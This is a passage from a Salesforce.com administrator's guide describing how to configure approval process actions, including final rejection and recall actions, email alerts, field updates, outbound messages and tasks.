- If the subject was translated, Salesforce.com creates the task in the assignee's language. If the subject
was translated, and if you checked Notify Assignee for the task, Salesforce.com sends the email in the
assignee's language. However, if only the comments field was translated, Salesforce.com creates the
task and sends the email in the language of the user who triggered the task.
- If a custom object has a master-detail relationship with a standard object, the owner of the custom
object record is automatically set to the owner of the master standard object record. For example, if a
custom object called “Expenses” has a master-detail relationship with Accounts, the owner of each
expense record is the owner of the account for the expense.

867
Create Managing Approval Processes

- If the assignee of a workflow task is a role and more than one user belongs to that role, the record
owner becomes the task assignee, regardless of his or her role. We recommend that you do not assign
tasks to roles with multiple users. Assigning tasks to roles with one user allows you to easily change
the user in that role without modifying the workflow rule.
- If a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead,
except email alerts, are reassigned to the lead owner.

2. Enter a subject for the task.


3. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
4. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee.
5. Check Notify Assignee to send an email notification when the task is assigned.
6. Check the Protected Component check box to mark the task as protected. For more information, see Protected
Components on page 916.
7. Enter any comments to add to the task.
8. Click Save.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer

Final Rejection Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit final rejection actions: “Customize Application”

Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection state.
Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final rejection action
can change the status to “Rejected,” send an email notification, and unlock the record so that users can edit it before resubmitting.
When a record has been rejected by all approvers, Salesforce.com executes all final rejection actions. A default final rejection
action called Record Lock is selected for you. You can modify it to automatically lock or unlock a record. You can select up
to 40 additional actions to occur when a record is rejected, 10 of each of the following types:

868
Create Managing Approval Processes

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage the final rejection actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval
Processes and select the approval process.

• The Final Rejection Actions related list shows all the actions that take place when a record is finally rejected.
• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 880.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
For email alerts:

1. Enter a description for this email alert.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. If available, choose the object for this email alert.
Salesforce.com uses this object when generating merge field values for email templates with workflow rules and
approval processes. Also, you can define the recipients of this email alert using contact and user lookup fields that
are relevant to that object. For example, if you select Contract, you can define the contract signer as a recipient.
The object is read only if the new email alert is associated with an approval process or workflow rule for a particular
object.
Tip: To create workflow rules for case comments so that comments added to cases send email alerts
when a rule is triggered, select Case Comment in the Object drop-down list when creating a new
workflow rule.

4. Choose an email template.


Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is
used as the approval assignment template. If you use the template for any other email alert action—in
either workflow rules or approval processes—the merge fields will return a null value.

869
Create Managing Approval Processes

5. Check the Protected Component check box to mark the alert as protected.
6. Select the type of recipient who you want to receive this email alert. The options are:

- Account Owner—The user listed as the account owner of either the account itself or the account associated
with the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts,
and any custom object that is a child of the account object. Also, an account owner must be specified for the
associated account. If you select another type of object or the associated account does not have an account
owner, Salesforce.com sends the email alert to the record owner instead.
- Account Team—All users assigned to a particular account team role.

Note: The Account Team option is always available; however, emails are only sent when the rule
is associated with the account object or any of its immediate child objects.

- Case Team—All users assigned to a particular case team role.


- Creator—The user who created the record.
- Customer Portal User—All users associated with a Customer Portal.
- Email Field—An email address field on the selected object, such as the Email field on lead records or
custom email fields.
Note: When creating email alerts for campaign members, Email Field refers to the email field on
the lead or contact that the campaign member is based on.

- Owner—The record owner.


- Partner User—All users associated with a partner portal.
- Portal Role—All users assigned to a particular portal role.
- Portal Role and Subordinates—All users assigned to a particular portal role, plus all users in roles
below that role.
- Public Groups—The users in a particular public group.
- Related Contact—An associated contact on the record. For example, you can select the Customer
Signed By field for contracts that contains the name of the contact that signed the contract.
- Related User—An associated user on the record. For example, contract records have an Activated By
field that contains the name of the user that activated the contract.
- Role—All of the users assigned a particular role.
- Role and Internal Subordinates—All users in a particular role, plus all users in roles below that role,
excluding partner portal and Customer Portal users.
- Role and Subordinates—All users in a particular role, plus all users in roles below that role.
- Users—A particular user.
- Sales Team—A member of the sales team.

Note: The Sales Team option is always available; however, it only works for email alerts configured
for opportunities. It does not work for email alerts configured for child objects of opportunities.

The recipients that match your search results appear in the Available Recipients list.
7. Select the recipients who you want to receive this email alert in the Available Recipients list and click Add to add
them to the Selected Recipients list.

870
Create Managing Approval Processes

Note: If you change the object after selecting recipients, Salesforce.com clears the Selected Recipients
list.

8. Optionally, enter up to five additional email addresses.


9. Optionally, change the From Email Address to a previously configured and verified organization-wide address.
This allows you to use a standard global email address for your organization (such as support@company.com)
instead of the default From field, which is the email address of the person who updates the record.
Only verified organization-wide email addresses display in the From Email Address picklist.
Note: If you select Make this the default From email address for this object's email alerts, it overrides
the From Email Address for all email alerts associated with that object. Upon saving, a dialog box
prompts you to confirm your selection. You can still customize individual email alerts to use a different
From Email Address.

10. Click Save.

For field updates:

1. Enter a name for this field update.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter a description for this field update.
4. Define the field update, including the object associated with the workflow rule or approval process, the field to
update, and the value to apply. Note that the field to update may be on a related object in a master-detail
relationship. Fields are shown only for the target object that you select.
Tip: To create workflow rules for case comments or email messages so that case comments or emails
automatically update fields on associated cases, select Case Comment or Email Message in the Object
drop-down list when creating a new workflow rule and select Case in the Field to Update list.
Email-to-Case or On-Demand Email-to-Case must be enabled for your organization to use Email
Message in a workflow rule.
When cases are updated by an email-triggered workflow rule, the updated case can trigger:

- Workflow rules
- Validation rules
- Updates to roll-up summary fields
- Escalation rules
- Apex triggers

The update case cannot trigger:

- Assignment rules
- Auto-response rules

871
Create Managing Approval Processes

5. Check the Protected Component check box to mark the field update as protected. For more information, see
Protected Components on page 916.
6. Specify the new field value. The available options depend on the type of field you are updating. You can:

- Choose A specific value, and enter the value in the space provided.
- Choose A blank value (null) if you want Salesforce.com to remove any existing value and leave the
field blank. This option is not available for required fields, checkboxes, and some other types of fields.
- For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object
records, you can also choose a queue for this field. Optionally, select Notify Assignee to send an email
to the new record owner.
- For checkboxes, choose True to select the checkbox and False to deselect it.
- For picklists, select a specific value from the drop-down list, or select the value above or below the current
value based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above
or below may be different for users in other languages.
- Choose Use a formula to set the new value to calculate the value based on an expression, merge
fields, or other values.

a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow,
validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose
the field type in the Select Field Type drop-down list, and choose one of the fields listed in the
Insert Field drop-down list.

Tip: Build cross-object formulas to span to related objects and reference merge fields on those
objects.

b. To insert case merge fields so that email messages update the associated case fields, click Insert Field on
the Rule Criteria section and choose Email Message > Parent Case.
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list.
Use the examples in Operators and Functions on page 548.
d. Optionally, insert a function from the Functions list. Functions are pre-built formulas that you can
customize with your input parameters. See Operators and Functions on page 548 for a description of each
operator and function.

7. Click Save.

For outbound messages:

1. Enter a name for this outbound message.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter a description for this outbound message.
4. Enter an endpoint URL for the recipient of the message. Salesforce.com sends a SOAP message to this endpoint.

872
Create Managing Approval Processes

5. Select the Salesforce.com user to use when sending the message. The chosen user controls data visibility for the
message that is sent to the endpoint.
6. Check the Protected Component check box to mark the outbound message as protected. For more information,
see Protected Components on page 916.
7. Select Send Session ID if you want the Salesforce.com session ID included in the outbound message. Include
the session ID in your message if you intend to make API calls and you do not want to include a username and
password. Sending a username and password is less secure than sending a session ID.
8. Select Add failures to failed outbound message related list if you want this message to move
to the failed outbound messages related list after all retries have been attempted. If you do not see this option,
failed outbound messages notifications have not been enabled for your organization. Contact your salesforce.com
representative.
9. Select the fields you want included in the outbound message and click Add.

For tasks:

1. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role,
or account team role depending on the type of record you chose.
Note:

- If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the person
who triggered the rule is assigned the task.
- If the subject was translated, Salesforce.com creates the task in the assignee's language. If the subject
was translated, and if you checked Notify Assignee for the task, Salesforce.com sends the email in the
assignee's language. However, if only the comments field was translated, Salesforce.com creates the
task and sends the email in the language of the user who triggered the task.
- If a custom object has a master-detail relationship with a standard object, the owner of the custom
object record is automatically set to the owner of the master standard object record. For example, if a
custom object called “Expenses” has a master-detail relationship with Accounts, the owner of each
expense record is the owner of the account for the expense.
- If the assignee of a workflow task is a role and more than one user belongs to that role, the record
owner becomes the task assignee, regardless of his or her role. We recommend that you do not assign
tasks to roles with multiple users. Assigning tasks to roles with one user allows you to easily change
the user in that role without modifying the workflow rule.
- If a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead,
except email alerts, are reassigned to the lead owner.

2. Enter a subject for the task.


3. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
4. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee.
5. Check Notify Assignee to send an email notification when the task is assigned.
6. Check the Protected Component check box to mark the task as protected. For more information, see Protected
Components on page 916.

873
Create Managing Approval Processes

7. Enter any comments to add to the task.


8. Click Save.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer

Recall Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit recall actions: “Customize Application”

Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock the
record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages. For
example, a recall action can change the status of a request from “In Progress” to “Not Submitted.”
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators
can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records;
otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the
record is withdrawn and recall actions are run.
When a record has been recalled after submission, Salesforce.com executes all recall actions, including unlocking the record.
You can select up to 40 additional actions to occur when a record is recalled, 10 of each of the following types:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage recall actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes,
and select the approval process.

874
Create Managing Approval Processes

The Recall Actions related list shows all the actions that take place when a record is recalled.

• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 880.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:
For email alerts:

1. Enter a description for this email alert.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. If available, choose the object for this email alert.
Salesforce.com uses this object when generating merge field values for email templates with workflow rules and
approval processes. Also, you can define the recipients of this email alert using contact and user lookup fields that
are relevant to that object. For example, if you select Contract, you can define the contract signer as a recipient.
The object is read only if the new email alert is associated with an approval process or workflow rule for a particular
object.
Tip: To create workflow rules for case comments so that comments added to cases send email alerts
when a rule is triggered, select Case Comment in the Object drop-down list when creating a new
workflow rule.

4. Choose an email template.


Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is
used as the approval assignment template. If you use the template for any other email alert action—in
either workflow rules or approval processes—the merge fields will return a null value.

5. Check the Protected Component check box to mark the alert as protected.
6. Select the type of recipient who you want to receive this email alert. The options are:

- Account Owner—The user listed as the account owner of either the account itself or the account associated
with the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts,
and any custom object that is a child of the account object. Also, an account owner must be specified for the
associated account. If you select another type of object or the associated account does not have an account
owner, Salesforce.com sends the email alert to the record owner instead.
- Account Team—All users assigned to a particular account team role.

Note: The Account Team option is always available; however, emails are only sent when the rule
is associated with the account object or any of its immediate child objects.

875
Create Managing Approval Processes

- Case Team—All users assigned to a particular case team role.


- Creator—The user who created the record.
- Customer Portal User—All users associated with a Customer Portal.
- Email Field—An email address field on the selected object, such as the Email field on lead records or
custom email fields.
Note: When creating email alerts for campaign members, Email Field refers to the email field on
the lead or contact that the campaign member is based on.

- Owner—The record owner.


- Partner User—All users associated with a partner portal.
- Portal Role—All users assigned to a particular portal role.
- Portal Role and Subordinates—All users assigned to a particular portal role, plus all users in roles
below that role.
- Public Groups—The users in a particular public group.
- Related Contact—An associated contact on the record. For example, you can select the Customer
Signed By field for contracts that contains the name of the contact that signed the contract.
- Related User—An associated user on the record. For example, contract records have an Activated By
field that contains the name of the user that activated the contract.
- Role—All of the users assigned a particular role.
- Role and Internal Subordinates—All users in a particular role, plus all users in roles below that role,
excluding partner portal and Customer Portal users.
- Role and Subordinates—All users in a particular role, plus all users in roles below that role.
- Users—A particular user.
- Sales Team—A member of the sales team.

Note: The Sales Team option is always available; however, it only works for email alerts configured
for opportunities. It does not work for email alerts configured for child objects of opportunities.

The recipients that match your search results appear in the Available Recipients list.
7. Select the recipients who you want to receive this email alert in the Available Recipients list and click Add to add
them to the Selected Recipients list.
Note: If you change the object after selecting recipients, Salesforce.com clears the Selected Recipients
list.

8. Optionally, enter up to five additional email addresses.


9. Optionally, change the From Email Address to a previously configured and verified organization-wide address.
This allows you to use a standard global email address for your organization (such as support@company.com)
instead of the default From field, which is the email address of the person who updates the record.
Only verified organization-wide email addresses display in the From Email Address picklist.
Note: If you select Make this the default From email address for this object's email alerts, it overrides
the From Email Address for all email alerts associated with that object. Upon saving, a dialog box
prompts you to confirm your selection. You can still customize individual email alerts to use a different
From Email Address.

876
Create Managing Approval Processes

10. Click Save.

For field updates:

1. Enter a name for this field update.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter a description for this field update.
4. Define the field update, including the object associated with the workflow rule or approval process, the field to
update, and the value to apply. Note that the field to update may be on a related object in a master-detail
relationship. Fields are shown only for the target object that you select.
Tip: To create workflow rules for case comments or email messages so that case comments or emails
automatically update fields on associated cases, select Case Comment or Email Message in the Object
drop-down list when creating a new workflow rule and select Case in the Field to Update list.
Email-to-Case or On-Demand Email-to-Case must be enabled for your organization to use Email
Message in a workflow rule.
When cases are updated by an email-triggered workflow rule, the updated case can trigger:

- Workflow rules
- Validation rules
- Updates to roll-up summary fields
- Escalation rules
- Apex triggers

The update case cannot trigger:

- Assignment rules
- Auto-response rules

5. Check the Protected Component check box to mark the field update as protected. For more information, see
Protected Components on page 916.
6. Specify the new field value. The available options depend on the type of field you are updating. You can:

- Choose A specific value, and enter the value in the space provided.
- Choose A blank value (null) if you want Salesforce.com to remove any existing value and leave the
field blank. This option is not available for required fields, checkboxes, and some other types of fields.
- For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object
records, you can also choose a queue for this field. Optionally, select Notify Assignee to send an email
to the new record owner.
- For checkboxes, choose True to select the checkbox and False to deselect it.
- For picklists, select a specific value from the drop-down list, or select the value above or below the current
value based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above
or below may be different for users in other languages.

877
Create Managing Approval Processes

- Choose Use a formula to set the new value to calculate the value based on an expression, merge
fields, or other values.

a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow,
validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose
the field type in the Select Field Type drop-down list, and choose one of the fields listed in the
Insert Field drop-down list.

Tip: Build cross-object formulas to span to related objects and reference merge fields on those
objects.

b. To insert case merge fields so that email messages update the associated case fields, click Insert Field on
the Rule Criteria section and choose Email Message > Parent Case.
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list.
Use the examples in Operators and Functions on page 548.
d. Optionally, insert a function from the Functions list. Functions are pre-built formulas that you can
customize with your input parameters. See Operators and Functions on page 548 for a description of each
operator and function.

7. Click Save.

For outbound messages:

1. Enter a name for this outbound message.


2. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter a description for this outbound message.
4. Enter an endpoint URL for the recipient of the message. Salesforce.com sends a SOAP message to this endpoint.
5. Select the Salesforce.com user to use when sending the message. The chosen user controls data visibility for the
message that is sent to the endpoint.
6. Check the Protected Component check box to mark the outbound message as protected. For more information,
see Protected Components on page 916.
7. Select Send Session ID if you want the Salesforce.com session ID included in the outbound message. Include
the session ID in your message if you intend to make API calls and you do not want to include a username and
password. Sending a username and password is less secure than sending a session ID.
8. Select Add failures to failed outbound message related list if you want this message to move
to the failed outbound messages related list after all retries have been attempted. If you do not see this option,
failed outbound messages notifications have not been enabled for your organization. Contact your salesforce.com
representative.
9. Select the fields you want included in the outbound message and click Add.

878
Create Managing Approval Processes

For tasks:

1. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role,
or account team role depending on the type of record you chose.
Note:

- If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the person
who triggered the rule is assigned the task.
- If the subject was translated, Salesforce.com creates the task in the assignee's language. If the subject
was translated, and if you checked Notify Assignee for the task, Salesforce.com sends the email in the
assignee's language. However, if only the comments field was translated, Salesforce.com creates the
task and sends the email in the language of the user who triggered the task.
- If a custom object has a master-detail relationship with a standard object, the owner of the custom
object record is automatically set to the owner of the master standard object record. For example, if a
custom object called “Expenses” has a master-detail relationship with Accounts, the owner of each
expense record is the owner of the account for the expense.
- If the assignee of a workflow task is a role and more than one user belongs to that role, the record
owner becomes the task assignee, regardless of his or her role. We recommend that you do not assign
tasks to roles with multiple users. Assigning tasks to roles with one user allows you to easily change
the user in that role without modifying the workflow rule.
- If a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead,
except email alerts, are reassigned to the lead owner.

2. Enter a subject for the task.


3. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
4. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee.
5. Check Notify Assignee to send an email notification when the task is assigned.
6. Check the Protected Component check box to mark the task as protected. For more information, see Protected
Components on page 916.
7. Enter any comments to add to the task.
8. Click Save.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer

879
Create Managing Approval Processes

Selecting Approval Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To select approval actions: “Customize Application”

There are four types of approval actions:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

You can associate approval actions with approval steps, initial submission, final approval, final rejection, and recall. You can
also reuse these actions for workflow rules. Before you begin, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval
Processes and select the approval process you want associated with the actions.
To select an approval action:

1. Click Add Existing from the appropriate related list on the detail page of any approval process. If the Add Existing button
does not appear on an approval step, click Show Actions.
Alternatively, click Add New to create a new action and apply it to the selected approval process. For instructions on
creating actions, see Creating Approval Actions on page 881.
2. Choose the type of action.
3. Select the action in the list of available actions and click Add to add the action to the list of selected actions.
4. Click Save.

880
Create Managing Approval Processes

Note: On the detail page of an approval process, click View Diagram to open the Process Visualizer. It presents a
graphical version of the steps and actions that comprise the approval process.

See Also:
Managing Workflow and Approvals
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Using the Process Visualizer

Creating Approval Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval actions: “Customize Application”

Create approval actions to associate with approval steps, initial submission, final approval, final rejection, or recall. For example,
you may have an expense approval process in Salesforce.com that you want to send an outbound message to your Oracle
accounting service to print expense checks when expense approval requests are approved.
To create an approval action:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.


2. Select the approval process you want associated with the action.
3. Click Add New from the appropriate related list. When creating actions for an approval step, click Show Actions if they
are hidden.
4. Choose the type of action. The list of available actions differs depending on your settings and whether you have reached
the limit for any type of action:

• Configure the email alert.


• Configure the field update.
• Configure the outbound message.
• Configure the task.

For email alerts:

a. Enter a description for this email alert.


b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

881
Create Managing Approval Processes

c. If available, choose the object for this email alert.


Salesforce.com uses this object when generating merge field values for email templates with workflow rules and
approval processes. Also, you can define the recipients of this email alert using contact and user lookup fields that
are relevant to that object. For example, if you select Contract, you can define the contract signer as a recipient.
The object is read only if the new email alert is associated with an approval process or workflow rule for a particular
object.
Tip: To create workflow rules for case comments so that comments added to cases send email alerts
when a rule is triggered, select Case Comment in the Object drop-down list when creating a new
workflow rule.

d. Choose an email template.


Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is
used as the approval assignment template. If you use the template for any other email alert action—in
either workflow rules or approval processes—the merge fields will return a null value.

e. Check the Protected Component check box to mark the alert as protected.
f. Select the type of recipient who you want to receive this email alert. The options are:

• Account Owner—The user listed as the account owner of either the account itself or the account associated
with the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts,
and any custom object that is a child of the account object. Also, an account owner must be specified for the
associated account. If you select another type of object or the associated account does not have an account
owner, Salesforce.com sends the email alert to the record owner instead.
• Account Team—All users assigned to a particular account team role.

Note: The Account Team option is always available; however, emails are only sent when the rule
is associated with the account object or any of its immediate child objects.

• Case Team—All users assigned to a particular case team role.


• Creator—The user who created the record.
• Customer Portal User—All users associated with a Customer Portal.
• Email Field—An email address field on the selected object, such as the Email field on lead records or
custom email fields.
Note: When creating email alerts for campaign members, Email Field refers to the email field on
the lead or contact that the campaign member is based on.

• Owner—The record owner.


• Partner User—All users associated with a partner portal.
• Portal Role—All users assigned to a particular portal role.
• Portal Role and Subordinates—All users assigned to a particular portal role, plus all users in roles
below that role.
• Public Groups—The users in a particular public group.
• Related Contact—An associated contact on the record. For example, you can select the Customer
Signed By field for contracts that contains the name of the contact that signed the contract.

882
Create Managing Approval Processes

• Related User—An associated user on the record. For example, contract records have an Activated By
field that contains the name of the user that activated the contract.
• Role—All of the users assigned a particular role.
• Role and Internal Subordinates—All users in a particular role, plus all users in roles below that role,
excluding partner portal and Customer Portal users.
• Role and Subordinates—All users in a particular role, plus all users in roles below that role.
• Users—A particular user.
• Sales Team—A member of the sales team.

Note: The Sales Team option is always available; however, it only works for email alerts configured
for opportunities. It does not work for email alerts configured for child objects of opportunities.

The recipients that match your search results appear in the Available Recipients list.
g. Select the recipients who you want to receive this email alert in the Available Recipients list and click Add to add
them to the Selected Recipients list.
Note: If you change the object after selecting recipients, Salesforce.com clears the Selected Recipients
list.

h. Optionally, enter up to five additional email addresses.


i. Optionally, change the From Email Address to a previously configured and verified organization-wide address.
This allows you to use a standard global email address for your organization (such as support@company.com)
instead of the default From field, which is the email address of the person who updates the record.
Only verified organization-wide email addresses display in the From Email Address picklist.
Note: If you select Make this the default From email address for this object's email alerts, it overrides
the From Email Address for all email alerts associated with that object. Upon saving, a dialog box
prompts you to confirm your selection. You can still customize individual email alerts to use a different
From Email Address.

j. Click Save.

For field updates:

a. Enter a name for this field update.


b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
managed package installations. The requirement for uniqueness is only within the selected object type. You can
have actions of the same type (for example, two email alerts) with the same unique name, provided they are
defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field
can contain only underscores and alphanumeric characters. It must be unique within the selected object type,
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
c. Enter a description for this field update.
d. Define the field update, including the object associated with the workflow rule or approval process, the field to
update, and the value to apply. Note that the field to update may be on a related object in a master-detail
relationship. Fields are shown only for the target object that you select.

883
Create Managing Approval Processes

Tip: To create workflow rules for case comments or email messages so that case comments or emails
automatically update fields on associated cases, select Case Comment or Email Message in the Object
drop-down list when creating a new workflow rule and select Case in the Field to Update list.
Email-to-Case or On-Demand Email-to-Case must be enabled for your organization to use Email
Message in a workflow rule.
When cases are updated by an email-triggered workflow rule, the updated case can trigger:

• Workflow rules
• Validation rules
• Updates to roll-up summary fields
• Escalation rules
• Apex triggers

The update case cannot trigger:

• Assignment rules
• Auto-response rules

e. Check the Protected Component check box to mark the field update as protected. For more information, see
Protected Components on page 916.
f. Specify the new field value. The available options depend on the type of field you are updating. You can:

• Choose A specific value, and enter the value in the space provided.
• Choose A blank value (null) if you want Salesforce.com to remove any existing value and leave the
field blank. This option is not available for required fields, checkboxes, and some other types of fields.
• For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object
records, you can also choose a queue for this field. Optionally, select Notify Assignee to send an email
to the new record owner.
• For checkboxes, choose True to select the checkbox and False to deselect it.
• For picklists, select a specific value from the drop-down list, or select the value above or below the current
value based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above
or below may be different for users in other languages.
• Choose Use a formula to set the new value to calculate the value based on an expression, merge
fields, or other values.

a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow,
validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose
the field type in the Select Field Type drop-down list, and choose one of the fields listed in the
Insert Field drop-down list.

Tip: Build cross-object formulas to span to related objects and reference merge fields on those
objects.

b. To insert case merge fields so that email messages update the associated case fields, click Insert Field on
the Rule Criteria section and choose Email Message > Parent Case.
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list.
Use the examples in Operators and Functions on page 548.

884
Create Managing Approval Processes

d. Optionally, insert a function from the Functions list. Functions are pre-built formulas that you can
customize with your input parameters. See Operators and Functions on page 548 for a description of each
operator and function.

g. Click Save.

For outbound messages:

a. Enter a name for this outbound message.


b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for
